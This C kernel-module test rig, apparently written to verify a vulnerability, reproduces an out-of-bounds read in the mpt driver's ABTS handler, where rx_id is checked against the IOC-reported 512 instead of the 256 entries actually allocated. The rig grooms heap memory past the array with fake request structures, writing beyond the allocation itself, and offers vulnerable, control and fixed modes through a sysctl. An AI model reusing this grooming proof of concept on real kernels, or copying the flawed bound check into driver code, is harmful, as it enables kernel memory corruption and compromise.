DF-2537 / rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | /* * DF-2537 rig -- mpt_fc_els_reply_handler ABTS RX_ID bound check uses the * IOC-reported mpt_max_tgtcmds (port_facts[0].MaxPostedCmdBuffers) instead * of the allocated tgt_cmd_ptrs size (mpt_cam.c:4250-4256: * max = min(MPT_MAX_REQUESTS/2=256, mpt_max_tgtcmds)). * * Verbatim: the ABTS branch (mpt_cam.c:2995-3032) extracted by gen.sh. * IOC reporting MaxPostedCmdBuffers=512 makes rx_id in [256,512) pass the * :3004 check but index past the 256-entry array (OOB heap read) whose * result is dereferenced as request_t* via MPT_TGT_STATE. * * sysctl kern.dfv2537.run: 0 = ABTS rx_id=300 (OOB), 1 = control rx_id=100 * (in-bounds), 2 = FIXED model (check tgt_cmds_allocated instead). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <dev/disk/mpt/mpt.h> #include <dev/disk/mpt/mpilib/mpi.h> #include <dev/disk/mpt/mpilib/mpi_fc.h> #include <dev/disk/mpt/mpilib/mpi_targ.h> #include <dev/disk/mpt/mpilib/mpi_init.h> #include <dev/disk/mpt/mpilib/mpi_cnfg.h> #define ABTS 0x81 /* mpt_cam.c:2759 */ static char df_logbuf[2048]; static int df_nlog; #define DFLOG(fmt, ...) do { \ int n = ksnprintf(df_logbuf + df_nlog, sizeof(df_logbuf) - df_nlog, \ fmt , ##__VA_ARGS__); \ if (n > 0) df_nlog += n; \ } while (0) /* logging interposition only */ #define mpt_prt(mpt, fmt, ...) DFLOG("mpt_prt: " fmt , ##__VA_ARGS__) #define mpt_lprt(mpt, lvl, fmt, ...) DFLOG("mpt_lprt: " fmt , ##__VA_ARGS__) static int mpt_abort_target_cmd(struct mpt_softc *mpt, request_t *req) { DFLOG("mpt_abort_target_cmd called with OOB req=%p\n", req); return (0); } /* (extract included inside df_run2537 below; the mpt_prt/mpt_lprt * logging macros above stay active for it) */ static char df_status[4096]; #define NREAL 256 /* mpt_add_target_commands alloc size */ static void df_run2537(int mode) { struct mpt_softc *mpt; request_t **ptrs; request_t *fake_req; uint8_t *vbuf; mpt_tgt_state_t *tgt; MSG_LINK_SERVICE_BUFFER_POST_REPLY rp_s; PTR_MSG_LINK_SERVICE_BUFFER_POST_REPLY rp = &rp_s; U32 elsbuf[8]; U8 rctl = ABTS, type = 0; char *p = df_status; int t = 0; uint16_t rx_id = (mode == 1) ? 100 : 300; mpt = kmalloc(sizeof(*mpt), M_DEVBUF, M_WAITOK | M_ZERO); mpt->port_facts = kmalloc(sizeof(*mpt->port_facts) * 1, M_DEVBUF, M_WAITOK | M_ZERO); mpt->port_facts[0].MaxPostedCmdBuffers = 512; /* IOC-reported */ /* the real allocation: min(256, 512) entries */ ptrs = kmalloc(NREAL * sizeof(request_t *), M_DEVBUF, M_WAITOK | M_ZERO); mpt->tgt_cmd_ptrs = ptrs; mpt->tgt_cmds_allocated = NREAL; /* the OOB region right after the array: groomed with a fake * request_t whose req_vbuf ends in a fake mpt_tgt_state */ vbuf = kmalloc(512, M_DEVBUF, M_WAITOK | M_ZERO); fake_req = kmalloc(sizeof(*fake_req), M_DEVBUF, M_WAITOK | M_ZERO); fake_req->req_vbuf = vbuf; mpt->ioc_facts.RequestFrameSize = 128; /* MPT_RQSL = 512 */ tgt = (mpt_tgt_state_t *)(vbuf + 512 - sizeof(*tgt)); tgt->reply_desc = (0xBEEF << TARGET_MODE_REPLY_IO_INDEX_SHIFT); tgt->ccb = NULL; /* groom: entries [256..] past the array point at our fake req */ { request_t **after = ptrs + NREAL; int i; for (i = 0; i < 128; i++) /* groom rx_id 256..383 */ after[i] = fake_req; /* in-bounds entry used by the control */ ptrs[100] = fake_req; } memset(rp, 0, sizeof(*rp)); rp->Rxid = htole16(rx_id); rp->Oxid = htole16(0x1111); rp->Rctl_Did = htole32((ABTS << MPI_FC_RCTL_SHIFT)); df_nlog = 0; df_logbuf[0] = 0; /* FIXED model: a pre-guard using the ALLOCATED size (what a fixed * :3004 check would do). Vulnerable modes fall through into the * VERBATIM block. */ if (mode == 2 && rx_id >= mpt->tgt_cmds_allocated) { DFLOG("FIXED guard: Bad RX_ID 0x%x (>= tgt_cmds_allocated " "%d) -- rejected before the array access\n", rx_id, mpt->tgt_cmds_allocated); goto done; } if (0) { ; /* the VERBATIM block begins with "} else if (rctl == ABTS ...) {" -- * its leading } closes this if(0) block */ #include "dfv2537_extract.h" } /* closes "if (tgt_req)" left open by the extract */ } /* closes "else if (rctl == ABTS ...)" left open */ skip: ; done: t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537[mode=%d rx_id=%d]: tgt_cmd_ptrs=%d entries, " "mpt_max_tgtcmds=%d\n", mode, rx_id, NREAL, mpt->port_facts[0].MaxPostedCmdBuffers); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: log: %s\n", df_logbuf); { void *p100 = mpt->tgt_cmd_ptrs[100]; void *p300 = mpt->tgt_cmd_ptrs[300]; mpt_tgt_state_t *tgtd = MPT_TGT_STATE(mpt, fake_req); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: diag2 tgt->reply_desc=0x%x ct_id=0x%x " "RQSL=%d sizeof(tgt_state)=%zu\n", tgtd->reply_desc, (uint32_t)GET_IO_INDEX(tgtd->reply_desc), MPT_RQSL(mpt), sizeof(mpt_tgt_state_t)); t += ksnprintf(p + t, sizeof(df_status) - t, "DF2537: diag ptrs[100]=%p ptrs[300]=%p fake_req=%p " "(ptrs[300] is 352 bytes past the 2048B allocation)\n", p100, p300, fake_req); } kfree(vbuf, M_DEVBUF); kfree(fake_req, M_DEVBUF); kfree(ptrs, M_DEVBUF); kfree(mpt->port_facts, M_DEVBUF); kfree(mpt, M_DEVBUF); } static int dfv2537_sysctl(SYSCTL_HANDLER_ARGS) { char out[4096]; int error, v = 0; if (req->newptr != NULL) { error = sysctl_handle_int(oidp, &v, 0, req); if (error) return error; df_status[0] = 0; switch (v) { case 0: df_run2537(0); break; case 1: df_run2537(1); break; case 2: df_run2537(2); break; default: return EINVAL; } return 0; } ksnprintf(out, sizeof(out), "%s", df_status); return SYSCTL_OUT(req, out, strlen(out) + 1); } SYSCTL_PROC(_kern, OID_AUTO, dfv2537_run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfv2537_sysctl, "I", "dfv2537: 0=OOB300 1=ctl100 2=fixed"); SYSCTL_PROC(_kern, OID_AUTO, dfv2537_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfv2537_sysctl, "A", "dfv2537 status"); static int dfv2537_load(module_t mod, int what, void *arg) { switch (what) { case MOD_LOAD: kprintf("dfv2537: loaded\n"); return 0; default: return 0; } } static moduledata_t dfv2537_mod = { "dfv2537", dfv2537_load, NULL }; DECLARE_MODULE(dfv2537, dfv2537_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |